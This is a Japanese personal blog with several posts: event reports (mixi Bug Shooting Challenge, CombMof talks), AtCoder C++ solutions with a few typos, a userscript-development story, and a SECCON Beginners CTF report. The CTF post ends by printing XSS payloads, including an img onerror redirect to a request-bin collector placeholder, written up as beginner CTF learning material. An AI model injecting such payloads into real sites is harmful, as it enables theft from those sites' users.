Bug Shooting Challenge #2 参加記
はじめに
タイトルにもありますが, この記事はBug Shooting Challenge#2の参加記になります。
この記事の目的は, 時系列に沿ってざっくりとBug Shooting Challenge#2を振り返ることです。
この記事の概要は次のとおりです。
もくじ
Bug Shooting Challengeとは
Bug Shooting Challenge(以下BSCとします)とは, 2人1組となって、ゲームサーバのログから不具合の原因を特定し、ソースコードの修正までを行なうChallengeのことです。
詳しくは, 次のリンクをご参照ください。
- 学生対象 不具合調査体験ワークショップのご紹介 - mixi developers - Medium
- mixi GROUP presents「Bug Shooting Challenge」 - NAVER まとめ
きっかけ
きっかけは, mixiさんからのメールでした。mixiさんの+Challenge系は面白いという噂を耳にしていたため, 申し込みました。
申し込んだ後に事前課題が与えられたので, 事前課題を解いて提出し, とおりますようにとお祈りをしていました。
結果は当選だったので, 喜んだのをよく覚えています。
イベント前日までにしたこと
Slackで要求された, DockerおよびDocker Composeのインストールを行いました。
Dockerは使用したことがあったのですが, Docker Composeはあまり使用したことがなかったので, 次の記事を読んでおきました。
当日したこと
会場に到着するまで
起床Challengeに成功して家を出ました。
渋谷駅に到着したものの, 渋谷駅付近で迷いました。 高低差が多く, 道も多いため方向音痴の私としては大変でした。
会場に到着してから
会場には, AからJまでのグループがあったと思います。その中で, 私はHグループに分類されました。
イベントは, 次の流れで行われるようでした。
- スタッフの方々による技術解説
- 昼食
- 本番前のチュートリアル
- 本番
- 夕食と交流会
スタッフの方々による技術解説
田村さん
CREについてご説明いただきました。
CREとは, Customer Reliability Engineeringの略で, CS(Customer)とエンジニアを繋ぐ架け橋になる存在とのこと。
さらに, 本イベント中は私たち参加者がCREとなり, 不具合調査および問題解決に当たって欲しいとのことでした。
佐藤さん
次の技術についてご説明いただきました。
Ruby/Rails
Rubyに関しては, 20分ではじめるRubyや公式リファレンスを見てほしいとのことでした。
ちょっとした動作を確認するためにRubyを使いたい場合は, インタラクティブシェルを使うと便利らしいです。
$ docker run -it -rm ruby:2.5 irb
- pryもオススメ
Git/GitHub
Gitとは, 分散型バージョン管理システムのこと。 GitHubとは, Git向けのリポジトリホスティングサービスのこと。
Git-Challengeもやっているので, 参加してほしいとのことでした。
Docker/Docker Compose
Dockerコンテナを活用することで, 環境を容易に用意できます。最近は, 異なるアーキテクチャのコンテナも起動できるとのこと。
佐野さん
SQL
はい。
Hadoop(Apache Hive)
オープンソースの分散ファイルシステムおよび分散処理基盤で, SQL Likeのクエリを投げられるとのこと(HiveQL)。
AWS EMR(Elastic MapReduce)でS3上のデータに対して, EC2インスタンスのクラスタで分散処理を実行できるとのこと。
メリットは, 膨れ上がったデータを高速に処理できたり, 低コストでスケールアウトできたりするとのこと。
昼食
釜飯をいただきました。昼食は, スタッフの佐藤さんと大谷さん, 隣のGグループの方々とご一緒しました。
本番前のチュートリアル & 本番
問題は非公開とのことなので, 割愛します。
スタッフの方々からの講評
バグレポートには実際のログを載せよう
色々なバグレポートがありましたが, 大抵が要点は抑えられていたとのことでした。しかし, バグレポートにバグの根拠となるログ自体を載せているグループは少なかったようでした。
バグレポートは書いた人のためにあるのではなく, 読む人のためにあるものです。読む人がログを見ることができるとは限らないので,実際のログも載せるとよいとのことでした。
チートは許さないという確固たる意志を持とう
CREである以上, チートは絶対に許さないという強い意思をもつべきとのことでした。
夕食 & 交流会
食事が豪華でした。数人とお話しましたが, やはり知らない分野の話を聞くのは面白かったです。まだ知らない世界があると思うとわくわくしてきますね。
また, 競プロ・CTF勢の多さが印象的でした。普段はこれらの分野の話ができないので, かなり楽しめました。
まとめ
今回のBSCを通して得られた知見を5つまとめてみました。
キャッシュとは程々の付き合いをしよう
キャッシュは, 使わなくて済む場合は使わない方がよい。しかし, 使うと便利なことも事実です。そのため, 使えるときは整合性に気をつけながら, 程よく使うとよいとのことでした。
リクエストを信用してはならない
HTTPリクエストには, 不正なものが含まれることもあります。そのため, リクエストログは客観的に見るべきだそうです。それに加えて, 不正なリクエストが来ることを考慮してコードを書く癖をつけるとよいとのことです。
意味的にひとかたまりの処理を意識したコーディングをしよう
コーディングをする際に, 処理をグルーピングするとよいとのことです。たとえば, データベースとのやりとりをするときはトランザクションをひとかたまりの処理として意識できます。そうすることで, 一貫したコードを書くことが可能になるそうです。
また, エラーが出た時の挙動を理解しておくとよいとのことです。
その場しのぎの対応策は良くない
バグを発見したとしても, 対策方法は複数あることも珍しくないです。そこで, その場しのぎの対応策を選ぶのではなく, ユーザのためのアプリケーションであることを第一に考えた対応策を選定するべきだそうです。
また, 単に簡単な対応策のみをとると他のバグを誘発する恐れもあるため, 根本的な問題を解決するような対応策をとるべきであるとのことでした。
バグレポートのフォーマット
以下のように, What, Why, Howを具体的に書くと良いそうです。
- What(バグの説明)
- Why(原因/根拠)
- ここには実際のログを入れるとよい
- How(対応)
展望
BSCでのバグ対応は, 実際のアプリケーション開発においても意識面での実践ができそうです。
また, バグレポートの書き方はテストや仕様書, コメントを書く時にも転用できると考えます。基本的に他人が見る前提で, そのように書いた理由があれば具体的に書くとよいかもしれません。
スタッフの皆さんへ
BSCという機会を設けていただき, 本当にありがとうございました。イベント中は, 質問・要望に対して1つ1つ真摯に対応していただいたので, 本当に感謝しています。
ありがとうございました。お疲れ様でした。
おわりに
こういったイベントは, やはりよいですね。何より,自分の知らない知識や経験を得る機会になりますし, 参加者の研究内容や興味のある分野を聞く機会にもなります。こういった機会は日常生活ではあまり無いので貴重な時間でした。
また, 他の+Challengeも参加したいですね。そのためには, さらに知識と経験を積まねばならないな, という気持ちです。
ここまでが, BSCの参加記でした。 興味のある方は, 次回のBSCに参加してみては如何でしょうか(開催するのかは分かりかねますが)?
ABC117-D XXOR
D - XXOR
概要
N個の非負整数A_1, A_2, ..., A_nおよびKが与えられる.
0以上K以下の整数Xに対して, f(X) = (X xor A_1) + ... + (X xor A_n)としたとき, fの最大値を求めよ.
解法
桁DPで解く.
dp[i][j] := 上位iビットまで見た時に, k以下であることが(j?確定:未確定)であるときの最大値
その上で, 上位(i+1)ビット目から上位(i)ビット目の遷移を考える.
1. 確定状態から確定状態
この遷移は, 遷移元が既に確定状態に入っているため, Xのiビット目として0と1のどちらが来ても必ず確定状態のままである.
したがって, 0と1の両方を比較して値が大きくなる方を選択して遷移すれば良い.
dp[i][1] = max(dp[i][1], dp[i+1][1] + (1<<i)*max(num, n-num));
2. 未確定状態から確定状態
この遷移は, 遷移元が未確定状態に入っているため, kのiビット目が1の時にXのiビット目として0が来なければならない.
したがって, Xのiビット目が0となる⇔Aのiビット目で1が立っている方に遷移させれば良い.
if (k & (1<<i)) { dp[i][1] = max(dp[i][1], dp[i+1][0] + (1<<i)*num; }
3. 未確定状態から未確定状態
この遷移になるものは2種類ある.
1種類目は, kのiビット目が0
かつXのiビット目が0
のとき.
2種類目は, kのiビット目が1
かつXのiビット目が1
のとき.
1) kのiビット目が0
かつXのiビット目が0
のとき
Xのiビット目が0となる⇔Aのiビット目で1が立っている
if (!(k & (1<<i))) { dp[i][0] = max(dp[i][0], dp[i+1][0] + (1<<i)*num; }
2) kのiビット目が1
かつXのiビット目が1
のとき
Xのiビット目が1となる⇔Aのiビット目で0が立っている
if (k & (1<<i)) { dp[i][0] = max(dp[i][0], dp[i+1][0] + (1<<i)*(n-num); }
以上より, 遷移をまとめると以下のようになる.
dp[i][1] = max(dp[i][1], dp[i+1][1] + (1<<i)*max(num, n-num)); if (k & (1<<i)){ dp[i][1] = max(dp[i][1], dp[i+1][0] + (1<<i)*num); dp[i][0] = max(dp[i][0], dp[i+1][0] + (1<<i)*(n-num)); } else { dp[i][0] = max(dp[i][0], dp[i+1][0] + (1<<i)*num); }
桁DPの遷移は実装できたので, あとは残りの部分を実装するだけ.
#include <bits/stdc++.h> using namespace std; using int64 = int64_t; #define int int64 // dp[i][j] := ibit目まで見てそこまでの値がk未満で(0:ない, 1:ある)時の最大値 int dp[60][2]; signed main(){ int n,k; cin >> n >> k; vector< int > a(n); for(int i=0; i<n; ++i) cin >> a[i]; memset(dp, -1, sizeof(dp)); dp[45][0] = 0; for(int bi=44; bi>=0; --bi){ int on_bit_num = 0; for(int ai=0; ai<n; ++ai){ if((a[ai] >> bi) & 1) ++on_bit_num; } int digit = (1LL << bi); if(dp[bi+1][1] >= 0){ dp[bi][1] = max(dp[bi][1], dp[bi+1][1] + digit * max(on_bit_num, n-on_bit_num)); } if(dp[bi+1][0] >= 0){ if ((k >> bi) & 1){ dp[bi][1] = max(dp[bi][1], dp[bi+1][0] + digit * on_bit_num); dp[bi][0] = max(dp[bi][0], dp[bi+1][0] + digit * (n-on_bit_num)); } else { dp[bi][0] = max(dp[bi][0], dp[bi+1][0] + digit * on_bit_num); } } } int ans = max(dp[0][0], dp[0][1]); cout << ans << endl; return 0; }
以上.
ほとんどけんちょんさんの記事を参考にしました.
お疲れ様でした.
参考資料
CombMofに聴き手として参加してきた
CombMofの備忘録
下書きはできていたのですが, 公開するのを忘れていたので今更ながら投稿します。
はじめに
先日(2018/12/23)に催されたCombMofでのLTの概要と私個人の感想です。
CombMofの詳細は主催者のもふたろうさんの記事をご参照ください。
CombMof告知: nizi26i26.hatenablog.com
当日の流れ
会場にうまく着けず, ギリギリの到着になってしまいました。
Google mapsを見ながら歩いていたはずなのに迷いました。
不思議ですね。
LT
1. 文化祭のWebアプリを作ってみた話 by shuhannn
LT資料:
2年連続で文化祭の物販システムに関するWebアプリを製作したお話。 製作時の試行錯誤と成長した点について触れ, 最後には所属しているN-PointでLT支援イベントを始めた話をしていました。
感想
1年目の製作の問題点を踏まえて, 2年目の製作に反映させている部分が非常に良い部分だなと感じました(素人並みの感想)。
2. エンジニアのためのUI/UX入門 by tinykitten8
LT資料:
www.slideshare.net
優れたUX(User Experience)を作るにはどうすれば良いのか?という発問に関するお話。
その答えは「ユーザの立場に立って考える」ということ。
具体的には以下の通り。
- 近接(似ている要素は近づけて, 似ていない要素は離そうね)
- 整列(要素はグルーピングして整列しましょうね)
- コントラスト(異なる要素の差異を強めて注意をひきましょうね)
- 反復(ページ内で一貫性を持たせませしょうね)
また, ユーザの立場に立つ具体例として「ABテスト」というものがあるようです。
感想
以上の4点程度ならば意識するのは容易なので, 今後意識します。
3. C#8.0という未来を垣間見る話 by 4_mio_11
LT資料:
C#8.0(未リリース)の新機能のうち, null許容参照型
およびSwith式
に着目。詳しくは, LT資料もしくは以下のQiitaの記事を参照してください。
qiita.com
感想
C#はJavaに似ていると聞きましたが, 使ったことがないのでイマイチ嬉しさが響いてきませんでした。知識不足ですね。
4. プログラミングに触れよう by Akkyun919
LT資料:
初心者向けのプログラミング入門用LT。プログラムとは何か?という基本から始め, 競プロ, ゲーム開発, Webプログラミング等を紹介していました。
プログラミングは「とりあえず,やれ」。
感想
初心者向けと言いつつ, Brainf*ckを出すのはどうなんでしょうね?(私はそういうの好きですが)。懇談会で, 「あの後にWhiteSpace入ってたら面白かったのに」という話をしていました。
5. モザイクアートをつくろう by shibh308
内容については, 塚本さんが記事を執筆していたのでそちらをご参照ください。
感想
処理の端々にオーダに関する話が出ていたので, やはり競プロerだなと思いました。競プロは役に立つんですね(本当か?)。
6. プログラミング言語実装の話 by stmtk_01
LT資料:
チューリング完全なプログラミング言語を実装してみようとしたお話。ループ処理を実装するのに飽きてチューリング完全ではないそうですが, 四則演算等の処理は実装できているようでした。
感想
あまり強く触れていませんでしたが, parserとlexerを自作しているのは強いなぁと感じました。構文解析って実装が大変な印象が強いです(何もわかっていない顔)。
7. PaaSを作ってみた話 by Wp120_3238
LT資料:
PaaSもどき(PaaSから少しブレている)を製作したお話。設計, API定義(goa使用), コマンドラインツールの製作等の流れについて説明。
感想
PaaSを「作る」という内容を見て目を疑いました。強すぎでは?
8. 心中恋電脳 ~心中恋のバーチャル~ by tatuyan_edson
こちらを見ると良いと思います。
感想
落語を聞いたのは初めてだったのですが, 自然と話の内容が耳に入ってきました。マウスの音を扇子(?)で出しているのには驚きました。
9. 超入門 プログラミングの勉強法 by kazuiti10
kazuiti10さんが記事を投稿していたので, そちらをご参照ください。
感想
勉強法として, - プログラミングの明確な目的を立て紙に書く - Progate有料1ヶ月→入門書→応用書 - 実際に制作物を作る の3点を挙げていました。これに関して上の2つは良いと思いますが, 最後の「制作物を作る」というのが難しいと感じました。そのため, 次回は「超入門 制作物の制作法」を期待しています(冗談です)。
10. UTIPS 家事のやり方を共有するサービスの発表 by yuki384love
「家事の情報共有」に的を絞って問題点を考えてそれに対する解決法を見出し, アプリケーション開発に繋げたというお話。問題点に対する解決法を1つ1つ丁寧に説明していました。
感想
個人的に、その人にとっての「当たり前」を共有して欲しいという部分が印象的で, 開発だけでなく教育においても見落としがちだなと感じました。しかし, その「当たり前」の共有と一言で言っても全て書き出したらキリがないと思うので, そこが難しい部分でしょうね。
11. 虫食い算に学ぶ探索アルゴリズム by drken
LT資料:
www.slideshare.net
虫食い算の探索法というテーマから派生し, DFS(深さ優先探索)という探索法について具体例も交えつつ紹介していました。丁寧なスライドのおかげで, 音声がなくとも割合理解できる内容となっていました。
感想
やはり資料が分かりやすいなという印象が強かったです。 スライドを作ったりや記事を書いたりするときにも参考になるLTでした。また, 紹介していたのは探索法(ソルバ)のみでしたが, 個人的に生成アルゴリズムも面白そうだなと感じました。
12. ゲームに使えるようなアルゴリズムやデータ構造の紹介 by CuriousFairy315
ゲームに使えそうなアルゴリズムとデータ構造について, 具体例も交えつつその仕組みも紹介していました。スライドはJavaで自作したそうです。
感想
個人的に, ランダムアイテム生成に関して比で確率を設定するというのは面白いと感じました。PCの破損というアクシデントがありながらも, 最終的に登壇できたのはラッキーでしたね。
交流会
プロ達と実際にお話できたのが本当に良かったです。しかし, 私は自信を持って話せる内容が無かったので, 肩身の狭い思いでした(早いところ青になりたいところです)。
また, Twitter上のアイコンと現実の本人の印象がかなり異なっていたことに非常に驚きました。どなたかがLTで触れていましたが, 「現実では生身というアバターしか存在しない」という表現, 割と好きです。
おわりに
ここまでで, CombMofにて発表された11個のLT(+1個の落語)について, 概要と個人的な感想をつらつらと書いてみました。LTには私の専門外のものもいくつかありましたが, プレゼンターの方々のおかげで少ない負担で聴くことができました。
主催者のもふたろうさんとスタッフの皆さん, ならびにLT枠のプレゼンターの皆さんには, 本当に感謝です。
こういう機会がまたあれば, 参加してみたいなと思います。
ABC115参加記録と解説
結果
3WA全完で648位でした。
推定緑パフォらしいですが, 全完できて嬉しかったので良いです。
A - Christmas Eve Eve Eve
概要
12月の日付Dが与えられる。
D=25なら'Christmas',
D=24なら'Christmas Eve',
D=23なら'Christmas Eve Eve',
D=22なら'Christmas Eve Eve Eve'を出力せよ。
制約
解法
if文で問題文の通りに書きます。
#include <iostream> using namespace std; int main() { int D; cin >> D; if (D == 25) cout << "Christmas"; else if (D == 24) cout << "Christmas Eve"; else if (D == 23) cout << "Christmas Eve Eve"; else cout << "Christmas Eve Eve Eve"; cout << endl; return 0; }
B - Christmas Eve Eve
個目の品物が円の品物が個ある。
個の品物のうち最も高い品物を半額にできる時, 品物の合計金額はいくらか?
制約
- は偶数
解法
最も高い品物のみを半額にするので, 最大値のみを1/2すれば良いですね。そのため, ソートしてから最後の要素(最大値)のみを1/2して全ての要素を足せば良いです。
#include <iostream> #include <algorithm> using namespace std; int main() { int N; cin >> N; vector< int > p(N); for (int i=0; i<N; ++i) cin >> p[i]; sort(p.begin(), p.end()); int ans = 0; for (int i=0; i<N; ++i) { if (i < N - 1) ans += p[i]; else ans += p[i] / 2; } cout << ans << endl; return 0; }
C - Christmas Eve
本目の木の高さがメートルの木が本植えられています。
その中から本の木を選んで装飾する時, 装飾した木のうち最も高い木の高さと最も低い木の差を最小化してください。
制約
- <
解法
本を選ぶときに木の高さの幅を最小化するためには, ソートしてから連続した本を見てあげるのが良いでしょう。
なぜなら, 連続した本のうち最初の木が最小, 最後の木が最大となるので, (最大の木) - (最小の木)を全て試せば木の高さの幅を最小化できるからです。
#include <iostream> #include <algorithm> using namespace std; costexpr int INF 1 << 30; int main() { int N, K; cin >> N >> K; vector< int > h(N); for (int i=0; i<N; ++i) cin >> h[i]; sort(h.begin(), h.end()); int ans = INF; for (int i=0; i<N-K+1; ++i) { ans = min(ans, h[i+k-1] - h[i]); } cout << ans << endl; return 0; }
D-Christmas
多次元バーガーはパティ(以下と略す)とバン(以下と略す)で出来ています。
レベルLの多次元バーガーは次のように定義される。
- レベルバーガーは, 枚である。
- レベルバーガーとは,
- 枚,
- レベルバーガー,
- 枚,
- レベルバーガー,
- B枚,
をこの順に下から積み上げたものである。
レベルバーガーを作って下から枚取った時, その中には何枚あるか?
解法
レベルバーガー(以下バーガーと略する)の定義を見ると, 再帰的にバーガーを呼び出しています。それなので,
とすると, このは以下のように表せます。
そして, の数は図の赤い部分と, f(L-1)の再帰に含まれるPの数のみです。それなので,
とすると, このは以下のように表せます。
また, 図と式を見ると分かりますが, バーガーは以下の手順で作れます。
- を1つ置く
- を置く
- を1つ置く
- を置く
- を1つ置く
この上で, 下から枚取ったときを考えてみます。作成手順を見ると上下対称なのが分かるので, 上から枚の中にが何枚あるかを同様の手順で考えてみます。
手順 | 上からの枚数 | 含まれるPの数 |
---|---|---|
を1つ置く | 1 | 0 |
を置く | ||
を1つ置く | ||
を置く | ||
を1つ置く |
すると, 上の図のように場合分けされます。の時は当然1つも選べないので省略しています。この図に従って再帰関数を実装し, main関数から呼び出すことで解を求められます。
#include <iostream> using namespace std; // オーバーフローの可能性があるため, 64bitのint_fast64_tを使用します。 using int64 = int_fast64_t; // Lバーガーの枚数を格納します。 int64 memo[55]; // Lバーガーに含まれるPの枚数を格納します。 int64 p_memo[55]; int64 f(int64 L) { // すでにメモされている場合はそちらの値を利用します。 if (memo[L] > 0) return memo[L]; // 0バーガーの枚数はPのみで1枚です。 if (L == 0) return memo[0] = 1; // LバーガーはB + f(L-1) + P + f(L-1) + Bなので, // まとめると全体の枚数は2 * f(L-1) + 3枚になります。 return memo[L] = 2 * f(L-1) + 3; } int64 getP(int64 L) { if (p_memo[L] > 0) return p_memo[L]; if (L == 0) return p_memo[0] = 1; // LバーガーはB + f(L-1) + P + f(L-1) + Bなので, // まとめるとPの枚数は2 * f(L-1) + 1枚になります。 return p_memo[L] = 2 * getP(L-1) + 1; } int64 solve(int64 L, int64 X) { if (X == 0) { // 残りの枚数が0枚になったら0を返します。 return 0; } else if (L == 0) { // 階層が0になってしまったらgetP(0)=1を返します。 return getP(0); } else if (X <= 1 + f(L-1)) { return solve(L-1, X-1); } else if (X <= 2 + f(L-1)) { return getP(L-1) + 1; } else if (X <= 2 + 2*f(L-1)) { return getP(L-1) + 1 + solve(L-1, X-f(L-1)-2); } else { return getP(L-1) + 1 + solve(L-1, X-f(L-1)-2); } } int main() { int64 N, X; cin >> N >> X; f(N); getP(N); int64 ans = solve(N, X); cout << ans << endl; }
感想
今回のABCは, 最近のABCとは異なる難易度だったと考えています。A-Cは最近のABCの傾向からすると拍子抜けな簡単さだったと思います。そして, D問題は難しいと言う人がいるかもしれませんが, それは「考える」難しさではなく, 「実装する」難しさだと思います。なぜなら, 今回のD問題は実際に書き出してみれば再帰関数の目星はつき, 朧げでも実装方法は思いついていたはずだからです。そのため, 落ち着いて, 時間をかければACすることは不可能ではなかったでしょう。
逆に, 厄介なのは, Small Multipleのような「考える」難しさを要求してくる問題だと考えています。あの問題を見てdijkstra法が出てきますか?私は出てきませんでした。そのような, 問題と解法を繋げるのが難しい問題が私にとっては難しいようです。
長々と語ってしまいましたが, 久々に粘ってACをもぎ取るムーブが出来て非常に楽しいコンテストになりました。このようなコンテストが続くと良いです。
AtCoder向けのUserscriptを書いた話
はじめに
私は春に競プロを布教していた人です。
この記事は「初心者でもとりあえずやってみたらなんとかなったよ」ということを伝えたくて書きました。
とはいえ、何の根拠もなく語っていても「は?」と思われるので、競プロサイトであるAtCoder向けのUserscriptを書いた時の話をします。
かしこまった記事は書けないので、ですます調はここら辺で終わりにして気楽に書いていこうと思います。
語句の説明
- 競プロ
→ 競技プログラミングのこと。与えられた問題を「速く、そして正確に」解くパズルのようなもの。
→ オンラインで参加できる競プロのサイト。月に数回コンテストが開かれる。社長が面白い。
- Userscript
→ Wikipediaによると
「Userscriptは通常JavaScriptで書かれ、Webページを編集するソースコード」
などと書かれている。ChromeではTempermonkey、Firefoxではgreasemonkeyによる拡張機能により動作可能。Userscript自体はgreasyforkというサイトで配布されている。
インストールに関する記事は以下を参照されたい。 qiita.com
作ったもの
こちら。 AtCoderScoreHider
説明はリンク先の概要を参照されたい。
なぜ作ったのか
結論から言うと、私が欲しい機能だったからだ。
というのも、AtCoderの問題では、以下の画像のように問題ごとに配点が表示される。
配点とは厄介なもので、問題を解く前からその問題の難しさを無意識のうちに決めてしまうのだ。
(RPGで巨大な敵を見ると、戦わずして「逃げる」を選択してしまいそうになるアレだ。)
それが原因で、精進*1が進んでいなかったそんな夏休み。ある日Twitterを眺めていると、こんなツイートが流れてきた。
つまりはこうしたいわけですよ pic.twitter.com/EZXi5j74wf
— Mister (@mistter_gp) 2018年9月2日
その内容は、配点の部分の要素を"???"で置換するというもの。「これだ!」と思い、本人にコンタクトを取りアイデアを使わせていただいた訳だ。
こうした流れで、
AtCoderのページで表示される配点を"???"で置換するスクリプト
を作ることを目的として開発を始めた。
どうやって作るか - 計画編
さて、アイデアの許可を得て、作るものの方針も立った。
しかし、ここで1つの問題に突き当たる。
「これ、どうやって作るんだ?」
その当時、私はUserscriptなんて触ったこともなかった。
なぜアイデアの許諾など乞うてしまったのだ、アホか?
と思いつつも、埒が明かないので既存のUserscriptを観察して構造を理解することにした。
そこで参考にしたコードのうち、印象に残ったのは以下の3つのコードだ。
1. AtCoderVirtualContestNowColorize
Author: Kaito Tateyama
スクリプト作者による説明
AtCoder Virtual Contestで現在開催されているコンテストに色付けをします。
コードがシンプルで私のUserScriptの基本形になった。初心者にとってシンプルなコードはありがたい。
2. AtCoderPerformanceColorizer
Author: satanic0258
スクリプト作者による説明
AtCoder(betaサイト)のコンテスト成績表におけるパフォーマンス値・レート値に色付けを行います.コード中の perfColorizeMode , rateColorizeMode を指定することにより色づけ方法を変更することができます.
色付けモードをユーザ自身が編集できるという発想が印象的だった。Userscriptはユーザがダウンロードして使用するので、ユーザがコードを編集するというのは盲点だった。
3. ac-score-table-ja
Author: rsk0315
この方のコードはコメントが本当に面白かった。
例えば、
// この要素が確実に目的のものを指しているかがアレなのですが,まぁ大丈夫でしょう var flag = $($('.dropdown-toggle')[0]).children()[0].src;
や、
// XSS に対してアなはずなんですが,AtCoder 社を信じるみたいなことをします
などがある。いわゆるコメント芸というやつだ。
この方はAtCoderScoresの作者でもあるので、そちらのソースコードも覗いてみると面白いと思う*2。
他にも参考にしたコードはあるが、面倒なのでこの辺でやめておく。
さて、話を戻そう。
ソースコードの観察の結果、表示されるWebページのHTMLを取得して(1)、要素を書き換えたり追加したり(2)するという手法を取っていた。この仕組みが分かったらこっちのものなので、以下のようなコーディングの手順を立てた。
- 配点を隠したい部分の要素の取得
- 任意の隠したい部分に対する、要素の上書き
以上。手順を書くほどもない単純な作りだ。
これだけで少し満足した私は、この手順に従ってコーディングをすることにした。
どうやって作るか - コーディング編
さて、手順が立ってしまえば競プロerの私にとってこれは唯の問題に過ぎない。
今回の私のスクリプトは短めなので、計画していた時の方がよっぽど大変だった気がする。
1. 配点を隠したい部分の要素の取得
先ほどのコードを見るとJavaScriptかjQueryの2択だったが、jQueryは詳しくなかったので素のJavaScriptで書くことにした。編集したい部分の要素はdocument.querySelectorAll()
で取得できるので、やるだけだった。
2. 任意の隠したい部分に対する要素の上書き
要素は取得出来たし、文字列を代入するだけ。
ということで以下のようなコードを打ち込み、謎の自信を身に纏いつつEnterキーを「ッターン」と叩いた。
{取得した要素}.innerText = {上書き用文字列};
変化していない。
Chromeのデベロッパーツールで確認すると、取得していた要素はnodeList
で、大きさが2のListだったようだ。
{取得した要素}[0].innerText = {上書き用文字列};
として解決した。何のためにわざわざ同じ要素を2つも用意しているんだろうか。
何はともあれ、原因はわかったのでnodeListの扱いに注意しつつ、残りの実装を終わらせた。
公開にあたって
ひとまず、目的としていた部分の目標は達成できたので、書いたUserscriptを公開することにした。
1. 公開するまでにやったこと
公開にあたり、以下の3つのことに注意した。
- 可能な限り簡潔にかくこと
- 見て意味を理解しやすい変数名を用いること
- 理解の助けとなるコメントを書くこと
これらは、リーダブルコードに書かれていた内容を参考にした。
結果的にversion1.0.0のコードはかなり読みやすいコードになっていると自負している(まぁコード量が少ないだけなのですが)。
何はともあれ、コード自体は完成したので、公開することになった。
しかし、公開するにあたり、スクリプト名やバージョン等を書く必要があったので、とりあえず埋めて無事完成した。
スクリプト名は、AtCoderScoreHinder。この名前は数時間で変更される訳だが、その話はまた後で。
2. 公開してからやったこと
さて、公開してから以下のようなコメントが来た。
お疲れ様です。重箱の隅をつつくような指摘で申し訳ないですが、Hiderではないでしょうか…?
— keymoon (@kymn_) 2018年9月4日
おっしゃる通りです。凄く恥ずかしかった。ホントに。そして、指摘されてから10分程度でリネームした。
そして改善へ
このスクリプトを使用していて、色々と気になったので、以下の2つの改良を加えた。
1. リファクタリング
lambda式を用いることで、可読性のコードに書き換えた。
具体的には、関数名をhasError()
やisPrivatePage
等に書き換える等である。
また、コメントや宣言等をまとめることで、修正しやすいコードにした。
2. ユーザによる編集機能
このUserscriptは初期設定で配点を"???"に置換する。しかし、他の文字列に変えたい人がいるかもしれないと考え、置換文字列を変更できるようにした。
その他、置換するページをbool型の変数で定義することで、置換するか否かをユーザが編集できるようにした。
具体的には以下のような部分だ。
// --------------------------------------------------------------------------------------------- // 変更したい場合はここをいじってください var display_score = '???';// 点数の代わりに置換される文字列 var display_last_status = true;// 過去の提出コードの点数を表示するか否か var problem_page = true;// 問題ページで表示するか否か var top_page = true;// トップページで表示するか否か var source_code_page = true;// ソースコードページで表示するか否か var submitted_list_page = true;// 提出コード一覧ページで表示するか否か // ---------------------------------------------------------------------------------------------
今回の制作で感じたこと
制作をする上で感じたことは、計画を立てることが大変だったということだ。
競プロでは、そもそも問題が与えられるのでContestants*3はコードの実装方針とコーディング部分のみを意識すれば良い。
しかし、今回のスクリプトに関してはそうはいかなかった。なぜなら、問題が与えられないからだ。更に言えば、問題を決めるのは自分自身でどのように作るかというのも自分に委ねられる。そのため、ここが難しい部分で時間も要した。
ただし、逆に言えば計画が立ってしまえば残りの作業は楽だということだ(精神的に楽ということでコーディングが楽ということではない)。実際に、今回は計画を立てた結果、かなり楽にコードを実装することが出来た(単純に仕様が簡単だったのも理由の1つだが)。
何らかの開発をする時にこの事に気づかず、行き当たりばったりのコードを書いて詰むというパターンも無くはないと思う。そのため、今後は何をどのような順番で実装するのかを決めてからコーディングをするのも手かなと感じた。
おわりに
歪な構成で読みにくかった部分もある中、この記事を最後まで読んでくれたことに感謝する。何も考えずにこの記事の執筆を決めた訳だが、なんとかなったので良かった(真似しないでください)。
制作物を作り上げることは大きな達成感があって良いので、また何か作る機会があれば作ってみたい。
SECCON Beginners 名古屋 参加記
はじめに
この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。
きっかけ
Twitter。
色々あって東京大会には出られず名古屋大会に参加することに。
前日までにしたこと
やったことは以下の2つ。
Kali LinuxのGraphical install
Arch Linuxと比べたら恐ろしく簡単だった。
こちらの記事に従ってインストールすると簡単だった。
https://freepc.jp/kali-linux配布資料の内容確認
事前に配布されていた資料を確認した。
非常に分かりやすく、理解の助けになった。
当日(会場入り前)
名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。
時間つぶしに名古屋城まで行って来たんですが、あそこって入城料かかるんですね。
— task4233 (@task4233) November 24, 2018
当日(イベント)
CTFについての講話[れっくすさん]
- CTFにはジャンルがある。
- Web
- Crypto
- Reversing
- Pwnable
- Programming
- 全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
- 「勉強」するのではなく「楽しむ」ことが成長への近道。
Crypto[れっくすさん]
暗号を解読してFlagを獲得する分野。
数学要素が多めだと感じた。
以下、講義概要。
- What's 'Crypto'?
- 暗号に関する基礎知識
- 剰余(mod)について
- 逆元の定義とそれを求めるアルゴリズムの紹介
- RSA暗号方式の仕組み
- 暗号化・復号の演算について
- CTFで用いられる脆弱なRSAの紹介
- 暗号全般の話
- 乱数生成に対する攻撃
- 暗号問題を解くときに使用するツールの紹介
Web[ゆったんさん]
個人的に最も興味のあった分野。
攻撃が視覚化されるので楽しいね。
以下、講義概要。
- What's 'Web'?
- XSSについて
- Webサイトへのアクセスの流れ
- XSSの仕組みと事例
- XSSの実践
- 反射型XSS(一時的なXSS)
- JavaScriptのDOM操作を用いた攻撃
- 攻撃者サーバについて(requestsbin)
- 攻撃対象にXSSを踏ませる攻撃
Rev[みむらさん]
アセンブリ言語は強い。
逆アセンブルしてコードを読むって面白くないですか?面白いですね。
以下、講義概要。
- バイナリファイルについて
- OSごとのファイル形式判断
- xxdコマンド及びfileコマンドの紹介
- アセンブリ言語(x86)でのプログラミング
- CTFに向けて
- 32bit-64bit間での違い
- 引数の渡し方の違い
- システムコール命令の違い
- 32bit-64bit間での違い
CTFオリエンテーション
[Misc]
Welcome
やるだけ。
Calc
やるだけ。
私は脳死で暗算をしましたが、もっと利口な方法があると思う。
[Web]
Do alert
講義資料に沿って書いてあることをやるだけ。
ASカンパニー
講義資料に沿って書いてあることををやるだけ。
AOカンパニー
解法が3つある。
- 解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。
<img src=“hoge” onerror=“document.location = “<request bin url>”;”
を書き込んであげると、 onerrror
以下のスクリプトが実行される。
- 解法2(他の方の解法)
onload
でスクリプトを実行させる手法。
<body onload=alert();/>
で実行できるので、 残りは講義資料に沿って解ける。
